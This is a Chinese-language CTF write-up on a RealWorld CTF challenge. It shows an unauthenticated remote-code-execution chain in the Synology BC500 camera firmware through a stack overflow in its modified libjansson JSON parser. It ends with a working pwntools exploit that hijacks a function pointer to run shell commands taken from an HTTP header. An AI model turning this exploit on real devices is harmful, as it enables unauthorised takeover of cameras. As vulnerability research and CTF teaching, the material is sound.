Synology BC500 摄像头 rce | rwctf Lets-party-in-the-house

题目给了的附件有 player.cpio run.sh zImage 。原始固件可以从 Synology Archive Download Site - Index of /download/Firmware/Camera/BC500下载。

概况的分析

如何获取终端 ?

如果直接模拟固件,终端会被报错信息填满,可以在 /etc/init.d/rcS 使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。

find . | cpio -o --format=newc > ../new.cpio

qemu-system-arm \
	-m 1024 \
	-M virt,highmem=off \
 	-kernel zImage \
    	-initrd new.cpio \
	-nic user,hostfwd=tcp:0.0.0.0:8081-:80,hostfwd=tcp:0.0.0.0:8082-:8082,hostfwd=tcp:0.0.0.0:1234-:1234\
 	-nographic 

开启了什么服务

  • 443/80 开 web 服务
  • 554 开启 real-Time Streaming Protocol (RTSP) 服务,摄像机视频流的访问的协议。
  • 49152 提供通用即插即用 (UPnP) 服务,促进网络上设备之间的无缝发现和通信。
/bin # netstat -ntpl
netstat -ntpl
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      544/webd
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      544/webd
tcp        0      0 0.0.0.0:554             0.0.0.0:*               LISTEN      392/streamd
tcp        0      0 10.0.2.15:49153         0.0.0.0:*               LISTEN      208/systemd
tcp        0      0 :::8082                 :::*                    LISTEN      463/telnetd
tcp        0      0 :::554                  :::*                    LISTEN      392/streamd
/bin # netstat -nupl
netstat -nupl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 0.0.0.0:19998           0.0.0.0:*                           544/webd
udp        0      0 10.0.2.15:68            0.0.0.0:*                           280/dhcpcd: eth0 [i
udp        0      0 127.0.0.1:41552         0.0.0.0:*                           208/systemd
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           208/systemd

寻找未授权接口

在 webd 文件中可以看见一些可能是 API 接口的字符串:

strings webd | grep "/"

/cgi2/factorydefault.cgi
/cgi2/fwupgrade.cgi
/cgi2/ptz.cgi
/cgi2/param.cgi
/cgi2/config.cgi
/cgi2/provision.cgi
/syno-api/security/ip_filter/deny
/tmp/DSCamUUID
/syno-api/security
/syno-api/security/encryption_key
/syno-api/recording/sd_card/speed_test
/www/cgi2/factory.cgi
/syno-api/recording/sd_card/format
/www/cgi2/storage.cgi
/syno-api/recording/sd_card/mount
/syno-api/recording/sd_card/unmount
/syno-api/recording/retrieve
type=sd1&action=list&ch=1&page=1&pagesize=20000&key=name&list=all&dir=recording/%s
/syno-api/recording/download
type=sd1&action=download&dir=recording/%s&fname=%s
/syno-api/snapshot
/www/cgi2/snapshot.cgi
/syno-api/maintenance/reboot
/www/cgi2/restart.cgi
/syno-api/maintenance/firmware/upgrade
/www/camera-cgi/synocam_fw_upgrade.cgi

把这些作为字典让 dirsearch 扫描,排除 401 的接口,剩下 200 的就是未授权接口

python dirsearch.py -u http://127.0.0.1:8081 -m GET -w E:\ctf\2024\rwctf\party_in_the_house\samples\reverse\dir_wordlist.txt

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 102

Target: http://127.0.0.1:8081/

[15:08:11] Scanning:
[15:08:12] 200 -    15B - /syno-api/session
[15:08:12] 404 -    30B - /style/assets/
[15:08:12] 200 -    6KB - /crypto.min.js
[15:08:12] 404 -    30B - /uistrings/
[15:08:12] 200 -   460B - /index.html
[15:08:12] 200 -    1MB - /style/main.css
[15:08:12] 200 -    2MB - /vue.bundle.js
[15:08:13] 200 -     7B - /syno-api/security/info/language
[15:08:13] 200 -     6B - /syno-api/activate
[15:08:13] 200 -    21B - /syno-api/security/info/mac
[15:08:13] 200 -     9B - /syno-api/security/info/model
[15:08:13] 200 -   105B - /syno-api/security/info
[15:08:14] 200 -    14B - /syno-api/maintenance/firmware/version
[15:08:14] 200 -     9B - /syno-api/security/info/name
[15:08:14] 200 -     4B - /syno-api/security/info/serial_number
[15:08:14] 200 -     6B - /syno-api/security/network/dhcp

对比固件升级逻辑

UBI没有FLASH转换层(FTL,Flash Translation Layer),只能工作在裸的flash,因此它不能用于消费类FLASH如MMC, RS-MMC, eMMC, SD, mini-SD, micro-SD, CompactFlash, MemoryStick等,但UBI在嵌入式设备中被广泛使用。关于 ubi 文件提取的可以看 IoT(八)ubi文件系统挂载&解包 ~ gandalf

bindiff 找到 ubi 文件

docker run --rm -v $PWD/samples:/samples cincan/binwalk -eM /samples/Synology_BC500_1.0.6_0294.sa.bin -C /samples/firm

ubi reader 获取 ubifs

ubireader_extract_images 0.ubi 

然后直接 7z 解压就可以看到之前的硬件了。

使用 diaphora diff webd 文件,感觉未授权的接口大概可能在这里。

登录的认证流程

从 json 中获取 username 和 password 参数,然后使用 AZDG 解密。AZDG 是一种基于 MD5 和 xor 的已知加密函数,并且在线提供了多种它的实现。

未授权接口的功能分析

[15:08:12] 200 -    15B - /syno-api/session
[15:08:13] 200 -     7B - /syno-api/security/info/language
[15:08:13] 200 -     6B - /syno-api/activate
[15:08:13] 200 -    21B - /syno-api/security/info/mac
[15:08:13] 200 -     9B - /syno-api/security/info/model
[15:08:13] 200 -   105B - /syno-api/security/info
[15:08:14] 200 -    14B - /syno-api/maintenance/firmware/version
[15:08:14] 200 -     9B - /syno-api/security/info/name
[15:08:14] 200 -     4B - /syno-api/security/info/serial_number
[15:08:14] 200 -     6B - /syno-api/security/network/dhcp

/syno-api/activate

只接受 true 的 PUT 请求,相机初始化有关。

/syno-api/session

通过 cookie 获取 session

/syno-api/security/info/language

设置语言

其余的 API 没办法读取输入

libjansson.so.4.7.0 缓冲区溢出

Pwn2Own Toronto 2023: Part 4 – Memory Corruption Analysis – Compass Security Blog 有个类似的漏洞。

如果向 API 发送普通的 json 会有提示 Invalid Uri. 但是如果发送的 json 太长了,就会直接崩溃。

import requests

url = "http://127.0.0.1:8081/syno-api/session"
data = {"A"*60:"B"}

response = requests.put(url, json=data)

print("Status Code:", response.status_code)
print("Response Body:", response.text)

通过 core dump 定位到发生问题的文件,webd 调用了synocam_param

cat /tmp/core_dump_log.txt
synoaid core dumped at 2024-12-16 08:15:59
synocam_param.c core dumped at 2024-12-16 08:50:46

动态分析 synocam_param.cgi

有问题的文件定位在 ./www/camera-cgi/synocam_param.cgi。这里可以直接调试一下,把 gdbserver 放进去,但是由于启动时间很短,所以不能直接 attach 到进程上去,得自己去起一个 synocam_param.cgi

逆向可以看到大部分信息都是作为环境变量传递的,而请求的数据是通过 stdin 发送的。

  sub_11038(&v97, "SERVER_NAME=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 124));
  sub_11038(&v97, "SERVER_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72));
  sub_11038(&v97, "DOCUMENT_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72));
  sub_11038(&v97, "SERVER_SOFTWARE=CivetWeb/%s", "1.15");
  sub_11038(&v97, "%s", "GATEWAY_INTERFACE=CGI/1.1");
  sub_11038(&v97, "%s", "SERVER_PROTOCOL=HTTP/1.1");
  sub_11038(&v97, "%s", "REDIRECT_STATUS=200");
  sub_11038(&v97, "SERVER_PORT=%d", *(_DWORD *)(a1 + 116));
  sub_10B28((char *)&v106, 0x32u);
  sub_11038(&v97, "REMOTE_ADDR=%s", (const char *)&v106);
  sub_11038(&v97, "REQUEST_METHOD=%s", *(const char **)(a1 + 16));
  sub_11038(&v97, "REMOTE_PORT=%d", *(_DWORD *)(a1 + 112));
  sub_11038(&v97, "REQUEST_URI=%s", *(const char **)(a1 + 20));
  sub_11038(&v97, "LOCAL_URI=%s", *(const char **)(a1 + 28));
  sub_11038(&v97, "LOCAL_URI_RAW=%s", *(const char **)(a1 + 24));

虽然暂时不能 attach 到 synocam_param.cgi 但是调 webd 还是可以的。带着参数和环境变量启动文件,输入输出通过 pipe 转发

      if ( v76 )
      {
        v77 = *(_BYTE **)(dword4BC + 96);
        if ( v77 && *v77 )
          execle(v76, v76);
        else
          execle(*(const char **)(dword4BC + 92), *(const char **)(dword4BC + 92), v32, 0, format);
        strerror(*v74);
        sub_490DAC((int)a1, 0, (int)&unk_51A064, 5909, "%s: execle(%s %s): %s");
      }
      else

由于启动的时候是 fork 一个子进程来接收输入输出。这里遇到了 ida 和 gdb 的 base 不通的情况,把 ida 的 base 改了

gdbserver-armel-static-8.0.1 *:1234 --attach $(ps -ef | grep webd | awk '{print $1}')

断点打在 fork 处
b fork
set follow-fork-mode child
b execle

就可以拿到传递给新进程的参数和环境变量:

[+] Detected syscall (arch:ARM, mode:Native-32)
    execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)
[+] Parameter            Register             Value
    RET                  $r0                  -
    NR                   $r7                  0xb
    filename             $r0                  0x7581d8c4  ->  0x6f6e7973  ->  0x00000000
    argv                 $r1                  0x7581d548  ->  0x7581d8c4  ->  0x6f6e7973  ->  0x00000000
    envp                 $r2                  0x757173e0  ->  0x75717e30  ->  0x56524553 'SERVER_NAME=IPCam'

程序为 synocam_param.cgi 没有其他参数。环境变量如下:

      0x7551c100|+0x0000|+000: 0x7551b0f8  ->  0x56524553 'SERVER_NAME=IPCam'
      0x7551c104|+0x0004|+001: 0x7551b10a  ->  0x56524553 'SERVER_ROOT=/www'
      0x7551c108|+0x0008|+002: 0x7551b11b  ->  0x55434f44 'DOCUMENT_ROOT=/www'
      0x7551c10c|+0x000c|+003: 0x7551b12e  ->  0x56524553 'SERVER_SOFTWARE=CivetWeb/1.15'
      0x7551c110|+0x0010|+004: 0x7551b14c  ->  0x45544147 'GATEWAY_INTERFACE=CGI/1.1'
      0x7551c114|+0x0014|+005: 0x7551b166  ->  0x56524553 'SERVER_PROTOCOL=HTTP/1.1'
      0x7551c118|+0x0018|+006: 0x7551b17f  ->  0x49444552 'REDIRECT_STATUS=200'
      0x7551c11c|+0x001c|+007: 0x7551b193  ->  0x56524553 'SERVER_PORT=80'
      0x7551c120|+0x0020|+008: 0x7551b1a2  ->  0x4f4d4552 'REMOTE_ADDR=10.0.2.2'
      0x7551c124|+0x0024|+009: 0x7551b1b7  ->  0x55514552 'REQUEST_METHOD=PUT'
      0x7551c128|+0x0028|+010: 0x7551b1ca  ->  0x4f4d4552 'REMOTE_PORT=40898'
      0x7551c12c|+0x002c|+011: 0x7551b1dc  ->  0x55514552 'REQUEST_URI=/syno-api/session'
      0x7551c130|+0x0030|+012: 0x7551b1fa  ->  0x41434f4c 'LOCAL_URI=/syno-api/session'
      0x7551c134|+0x0034|+013: 0x7551b216  ->  0x41434f4c 'LOCAL_URI_RAW=/syno-api/session'
      0x7551c138|+0x0038|+014: 0x7551b236  ->  0x49524353 'SCRIPT_NAME=/syno-api/session'
      0x7551c13c|+0x003c|+015: 0x7551b254  ->  0x49524353 'SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgi'
      0x7551c140|+0x0040|+016: 0x7551b286  ->  0x48544150 'PATH_TRANSLATED=/www'
      0x7551c144|+0x0044|+017: 0x7551b29b  ->  0x50545448 'HTTPS=off'
      0x7551c148|+0x0048|+018: 0x7551b2a5  ->  0x544e4f43 'CONTENT_TYPE=application/json'
      0x7551c14c|+0x004c|+019: 0x7551b2c3  ->  0x544e4f43 'CONTENT_LENGTH=10'
      0x7551c150|+0x0050|+020: 0x7551b2d5  ->  0x48544150 'PATH=/sbin:/usr/sbin:/bin:/usr/bin'
      0x7551c154|+0x0054|+021: 0x7551b2f8  ->  0x50545448 'HTTP_HOST=127.0.0.1:8081'
      0x7551c158|+0x0058|+022: 0x7551b311  ->  0x50545448 'HTTP_USER_AGENT=python-requests/2.32.3'
      0x7551c15c|+0x005c|+023: 0x7551b338  ->  0x50545448 'HTTP_ACCEPT_ENCODING=gzip, deflate'
      0x7551c160|+0x0060|+024: 0x7551b35b  ->  0x50545448 'HTTP_ACCEPT=*/*'
      0x7551c164|+0x0064|+025: 0x7551b36b  ->  0x50545448 'HTTP_CONNECTION=keep-alive'
      0x7551c168|+0x0068|+026: 0x7551b386  ->  0x50545448 'HTTP_CONTENT_LENGTH=10'
      0x7551c16c|+0x006c|+027: 0x7551b39d  ->  0x50545448 'HTTP_CONTENT_TYPE=application/json'
      0x7551c170|+0x0070|+028: 0x7551b3c0  ->  0x50534552 'RESPONSE_TO=SOCKET'
      0x7551c174|+0x0074|+029: 0x7551b3d3  ->  0x49544341 'ACTION_PREPARE=yes'
      0x7551c178|+0x0078|+030: 0x7551b3e6  ->  0x49544341 'ACTION_QUERY=yes'

输入的 json 是通过标准输入传入的,可以写这样的脚本进行调试:

echo \{\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\": \"b\"\} > body.txt    

export SERVER_NAME=IPCam
export SERVER_ROOT=/www
export DOCUMENT_ROOT=/www
export SERVER_SOFTWARE=CivetWeb/1.15
export GATEWAY_INTERFACE=CGI/1.1
export SERVER_PROTOCOL=HTTP/1.1
export REDIRECT_STATUS=200
export SERVER_PORT=80
export REMOTE_ADDR=10.0.2.2
export REQUEST_METHOD=PUT
export REMOTE_PORT=40898
export REQUEST_URI=/syno-api/session
export LOCAL_URI=/syno-api/session
export LOCAL_URI_RAW=/syno-api/session
export SCRIPT_NAME=/syno-api/session
export SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgi
export PATH_TRANSLATED=/www
export HTTPS=off
export CONTENT_TYPE=application/json
export CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`
export PATH=/sbin:/usr/sbin:/bin:/usr/bin
export HTTP_HOST=127.0.0.1:8081
export HTTP_USER_AGENT=python-requests/2.32.3
export HTTP_ACCEPT_ENCODING=gzip, deflate
export HTTP_ACCEPT=*/*
export HTTP_CONNECTION=keep-alive
export HTTP_CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`
export HTTP_CONTENT_TYPE=application/json
export RESPONSE_TO=SOCKET
export ACTION_PREPARE=yes
export ACTION_QUERY=yes

/www/camera-cgi/synocam_param.cgi < body.txt
# gdbserver-armel-static-8.0.1 localhost:1234 /www/camera-cgi/synocam_param.cgi < body.txt

确实发现了 segmentation fault

在 gdb 里面可以定位到 json_object_set_new_nocheck -> json_loads 函数

代码分析

这个库是开源项目 GitHub - akheron/jansson: C library for encoding, decoding and manipulating JSON data 改写的

开源的版本的函数逻辑

  • json_loads
json_t *json_loads(const char *string, size_t flags, json_error_t *error) {
	// 第一个参数就是输入的 json 字符串
    lex_t lex;
    json_t *result;
    string_data_t stream_data;

    jsonp_error_init(error, "<string>");

	// 输入不是 NULL
    if (string == NULL) {
        error_set(error, NULL, json_error_invalid_argument, "wrong arguments");
        return NULL;
    }

	// 初始一个结构体
    stream_data.data = string;
    stream_data.pos = 0;

	// 先初始化 lex
    if (lex_init(&lex, string_get, flags, (void *)&stream_data))
        return NULL;

	// 然后 parse json 到 lex 中
    result = parse_json(&lex, flags, error);

    lex_close(&lex);
    return result;
}
  • 结构体 lex_t
typedef struct {
    stream_t stream;
    strbuffer_t saved_text;
    size_t flags;
    size_t depth;
    int token;
    union {
        struct {
            char *val;
            size_t len;
        } string;
        json_int_t integer;
        double real;
    } value;
} lex_t;
  • lex_scan
    用于识别下一个 token,token 类型放在 lex->token 里面
static int lex_scan(lex_t *lex, json_error_t *error) {
    int c;

    strbuffer_clear(&lex->saved_text);

    if (lex->token == TOKEN_STRING)
        lex_free_string(lex);

    do
        c = lex_get(lex, error);
    while (c == ' ' || c == '\t' || c == '\n' || c == '\r');

    if (c == STREAM_STATE_EOF) {
        lex->token = TOKEN_EOF;
        goto out;
    }

    if (c == STREAM_STATE_ERROR) {
        lex->token = TOKEN_INVALID;
        goto out;
    }

    lex_save(lex, c);

	// 符号
    if (c == '{' || c == '}' || c == '[' || c == ']' || c == ':' || c == ',')
        lex->token = c;

	// 字符串
    else if (c == '"')
        lex_scan_string(lex, error);

	// 数字
    else if (l_isdigit(c) || c == '-') {
        if (lex_scan_number(lex, c, error))
            goto out;
    }

	// bool
    else if (l_isalpha(c)) {
        /* eat up the whole identifier for clearer error messages */
        const char *saved_text;

        do
            c = lex_get_save(lex, error);
        while (l_isalpha(c));
        lex_unget_unsave(lex, c);

        saved_text = strbuffer_value(&lex->saved_text);

        if (strcmp(saved_text, "true") == 0)
            lex->token = TOKEN_TRUE;
        else if (strcmp(saved_text, "false") == 0)
            lex->token = TOKEN_FALSE;
        else if (strcmp(saved_text, "null") == 0)
            lex->token = TOKEN_NULL;
        else
            lex->token = TOKEN_INVALID;
    }

    else {
        /* save the rest of the input UTF-8 sequence to get an error
           message of valid UTF-8 */
        lex_save_cached(lex);
        lex->token = TOKEN_INVALID;
    }

out:
    return lex->token;
}
  • json_parse
    从 { 头开始到 } 解析数据,lex_scan 用于解析 token类型,parse_value 用于进一步解析 token
static json_t *parse_json(lex_t *lex, size_t flags, json_error_t *error) {
    json_t *result;

	// 开始解析的时候深度是 0
    lex->depth = 0;

	// 开始扫描,第一个符号应该是 {
    lex_scan(lex, error);
    if (!(flags & JSON_DECODE_ANY)) {
        if (lex->token != '[' && lex->token != '{') {
            error_set(error, lex, json_error_invalid_syntax, "'[' or '{' expected");
            return NULL;
        }
    }

	// 
    result = parse_value(lex, flags, error);
    if (!result)
        return NULL;

    if (!(flags & JSON_DISABLE_EOF_CHECK)) {
        lex_scan(lex, error);
        if (lex->token != TOKEN_EOF) {
            error_set(error, lex, json_error_end_of_input_expected,
                      "end of file expected");
            json_decref(result);
            return NULL;
        }
    }

    if (error) {
        /* Save the position even though there was no error */
        error->position = (int)lex->stream.position;
    }

    return result;
}
  • parse_value

根据 token 的类型用不同的方法处理,如果里头还有 { 的话会递归用 parse_object 函数处理

static json_t *parse_value(lex_t *lex, size_t flags, json_error_t *error) {
    json_t *json;

    lex->depth++;
    if (lex->depth > JSON_PARSER_MAX_DEPTH) {
        error_set(error, lex, json_error_stack_overflow, "maximum parsing depth reached");
        return NULL;
    }

    switch (lex->token) {
        case TOKEN_STRING: {
            const char *value = lex->value.string.val;
            size_t len = lex->value.string.len;

            if (!(flags & JSON_ALLOW_NUL)) {
                if (memchr(value, '\0', len)) {
                    error_set(error, lex, json_error_null_character,
                              "\\u0000 is not allowed without JSON_ALLOW_NUL");
                    return NULL;
                }
            }

            json = jsonp_stringn_nocheck_own(value, len);
            lex->value.string.val = NULL;
            lex->value.string.len = 0;
            break;
        }

        case TOKEN_INTEGER: {
            json = json_integer(lex->value.integer);
            break;
        }

        case TOKEN_REAL: {
            json = json_real(lex->value.real);
            break;
        }

        case TOKEN_TRUE:
            json = json_true();
            break;

        case TOKEN_FALSE:
            json = json_false();
            break;

        case TOKEN_NULL:
            json = json_null();
            break;

        case '{':
            json = parse_object(lex, flags, error);
            break;

        case '[':
            json = parse_array(lex, flags, error);
            break;

        case TOKEN_INVALID:
            error_set(error, lex, json_error_invalid_syntax, "invalid token");
            return NULL;

        default:
            error_set(error, lex, json_error_invalid_syntax, "unexpected token");
            return NULL;
    }

    if (!json)
        return NULL;

    lex->depth--;
    return json;
}
  • parse_object
    去解析一个 object。
static json_t *parse_object(lex_t *lex, size_t flags, json_error_t *error) {
    json_t *object = json_object();
    if (!object)
        return NULL;

    lex_scan(lex, error);
    if (lex->token == '}')
        return object;

    while (1) {
        char *key;
        size_t len;
        json_t *value;
		// key 一定是一个 string
        if (lex->token != TOKEN_STRING) {
            error_set(error, lex, json_error_invalid_syntax, "string or '}' expected");
            goto error;
        }

        key = lex_steal_string(lex, &len);
        if (!key)
            return NULL;
        if (memchr(key, '\0', len)) {
            jsonp_free(key);
            error_set(error, lex, json_error_null_byte_in_key,
                      "NUL byte in object key not supported");
            goto error;
        }
		// 不重复 key
        if (flags & JSON_REJECT_DUPLICATES) {
            if (json_object_getn(object, key, len)) {
                jsonp_free(key);
                error_set(error, lex, json_error_duplicate_key, "duplicate object key");
                goto error;
            }
        }
		// key 之后是 :
        lex_scan(lex, error);
        if (lex->token != ':') {
            jsonp_free(key);
            error_set(error, lex, json_error_invalid_syntax, "':' expected");
            goto error;
        }
		// 解析 value 部分
        lex_scan(lex, error);
        value = parse_value(lex, flags, error);
        if (!value) {
            jsonp_free(key);
            goto error;
        }

		// 在 object hashtable 中插入  key, len, value
        if (json_object_setn_new_nocheck(object, key, len, value)) {
            jsonp_free(key);
            goto error;
        }

        jsonp_free(key);
		// 如果后面没有 , 就退出
        lex_scan(lex, error);
        if (lex->token != ',')
            break;
		// 否则进一步解析
        lex_scan(lex, error);
    }
	// 最后是一个 }
    if (lex->token != '}') {
        error_set(error, lex, json_error_invalid_syntax, "'}' expected");
        goto error;
    }
	// 返回这个 obj
    return object;

error:
    json_decref(object);
    return NULL;
}
  • json_t
typedef struct json_t {
    json_type type;
    volatile size_t refcount;
} json_t;

实际逆向的函数实现

使用 sscanf 解析 key 到 target1[32] 和 target2[12] 中,存在溢出可能性...

如果发生了溢出,那么会依次把栈上面这些变量给覆盖:

  int v4; // r0
  char v7; // [sp+8h] [bp-4Ch]
  _BYTE target1[32]; // [sp+14h] [bp-40h] BYREF
  _BYTE target2[12]; // [sp+34h] [bp-20h] BYREF
  size_t n; // [sp+40h] [bp-14h] BYREF
  int v12; // [sp+44h] [bp-10h]
  void *key; // [sp+48h] [bp-Ch]
  int obj; // [sp+4Ch] [bp-8h]

漏洞利用

由于中间存在太多利用,需要尽可能让函数早点返回,可以不写冒号提前 error 返回

构造变量 key

首先要溢出到 key 上

key 需要被 free 掉,所以需要构造一个合理的堆块地址。地址可写,而且 size 要合理。在 vmmap 里面的可写的地址找一个就行。

void jsonp_free(void *ptr) {
    if (!ptr)
        return;

    (*do_free)(ptr);
}

使用 gef 的命令可以很方便搜索这样的可写区域

search-pattern 0x00000041 /lib/libjansson.so.4.7.0 -p rw-

所以 key 的值被设置成 0x76fcd3a0 即可。

构造变量 obj

如果发生 error,会调用函数 json_decref 去析构obj

error:
    json_decref(object);
    return NULL;
}

void json_decref(struct_result *result)
{
  if ( result && result->dword4 != -1 && !--result->dword4 )
    j_json_delete(result);
}

看代码的话,需要找一个 +4 的地方是 -1 的地址。同样用 search-pattern 命令寻找

所以只需要把 obj 设置成 0x76fbacec 即可绕过。

所以我们的脚本可能是长得类似与这样:

from pwn import *

vuln = b'{"a ' + b"a"*20 + p32(0x76fcd3a0) + p32(0x76fbacec) + b"a"*4 + p32(0x12345678) + b'"}'
with open('body.txt', 'wb') as f:
    f.write(vuln)

UTF-8 字符串

由于 libjansson 的 key 只能是 UTF-8,文档,所以输入只能是 0x1-0x7F 范围内的字节,排除 0x20。Jansson 使用 UTF-8 作为字符编码。所有 JSON 字符串都必须是有效的 UTF-8(或 ASCII,因为它是 UTF-8 的子集)。允许使用 U+0000 到 U+10FFFF 的所有 Unicode 代码点,但如果您希望在字符串中嵌入 NUL 字节,则必须使用长度感知函数。

    while (*p != '"') {
        if (*p == '\\') {
            p++;
            if (*p == 'u') {
                size_t length;
                int32_t value;

                value = decode_unicode_escape(p);
                if (value < 0) {
                    error_set(error, lex, json_error_invalid_syntax,
                              "invalid Unicode escape '%.6s'", p - 1);
                    goto out;
                }
                p += 5;

                if (0xD800 <= value && value <= 0xDBFF) {
                    /* surrogate pair */
                    if (*p == '\\' && *(p + 1) == 'u') {
                        int32_t value2 = decode_unicode_escape(++p);
                        if (value2 < 0) {
                            error_set(error, lex, json_error_invalid_syntax,
                                      "invalid Unicode escape '%.6s'", p - 1);
                            goto out;
                        }
                        p += 5;

                        if (0xDC00 <= value2 && value2 <= 0xDFFF) {
                            /* valid second surrogate */
                            value =
                                ((value - 0xD800) << 10) + (value2 - 0xDC00) + 0x10000;
                        } else {
                            /* invalid second surrogate */
                            error_set(error, lex, json_error_invalid_syntax,
                                      "invalid Unicode '\\u%04X\\u%04X'", value, value2);
                            goto out;
                        }
                    } else {
                        /* no second surrogate */
                        error_set(error, lex, json_error_invalid_syntax,
                                  "invalid Unicode '\\u%04X'", value);
                        goto out;
                    }
                } else if (0xDC00 <= value && value <= 0xDFFF) {
                    error_set(error, lex, json_error_invalid_syntax,
                              "invalid Unicode '\\u%04X'", value);
                    goto out;
                }

                if (utf8_encode(value, t, &length))
                    assert(0);
                t += length;

幸运的是,UTF-8 中也存在一些代理对。意思是,一个 Unicode 编码字符解码为两个或更多十六进制字节。例如 \u0080 符号,它将被解码为两个十六进制字节 C2 80 。通过使用代理对,我们可以对任意字节(例如 0x80)进行编码,只要我们在上例中用预定义值(例如 0xC2)破坏下一个字节即可。

也就是说,可以通过输入代理对的方式输入任意字符,只不过这个字符的下一位会被破坏。

更换 lex 结构体指针

因为 utf-8 的话,写 rop 太难了,所以观察栈的结构可以看见 lex_t 的 stream 成员上有一个函数指针 get。调用方式是 lex_scan -> lex_get -> stream_get -> stream->get ,会执行 stream->get(stream->data);

所以直接去把 lex 结构体的第一个 4 bytes 改成 system 就可以。如果这么改的话,之前的东西就不用绕过了!

函数指针触发的地方是:

所以改这个地方的地址就可以。r3 的位置是 0x7effede0。


在 sscanf 处:

溢出开始的地方是 0x7effed5c,偏移是 0x84。

将这个指针劫持到 SynoPopen 函数中 popen 调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。

在 0x414d5c 处有一个 gadget 可以使用

所以 payload

{"a aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$HTTP_A;\u005c\u004d\u0041": "b"}
from pwn import *
context(arch='arm', os='linux', log_level='debug')
ip = '127.0.0.1'
port = 8081
r = remote(ip, port)

payload = b'a ' + b'a' * (0x84 - 8) + b'$HTTP_A;' + b'\u005c\u004d\u0041'
json = b'{"' + payload + b'": ""}'
pay = b''
pay += b'POST /syno-api/security/info/mac HTTP/1.1' +  b'\r\n'
pay += (b"Content-Length: %d" % len(json)) + b'\r\n'
pay += b'A: cat /flag > /www/index.html' + b'\r\n'
pay += b'Accept: text/plain, */*; q=0.01' + b'\r\n'
pay += b'Content-Type: application/json' + b'\r\n'
pay += b'\r\n'
pay += json
r.send(pay)

r.interactive()

参考

Pwn2Own Toronto 2023: Part 1 – How it all started – Compass Security Blog

[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup - 赤道企鹅的博客 | Eqqie Blog

posted @ 2024-12-19 13:13  giacomo捏  阅读(3)  评论(0编辑  收藏  举报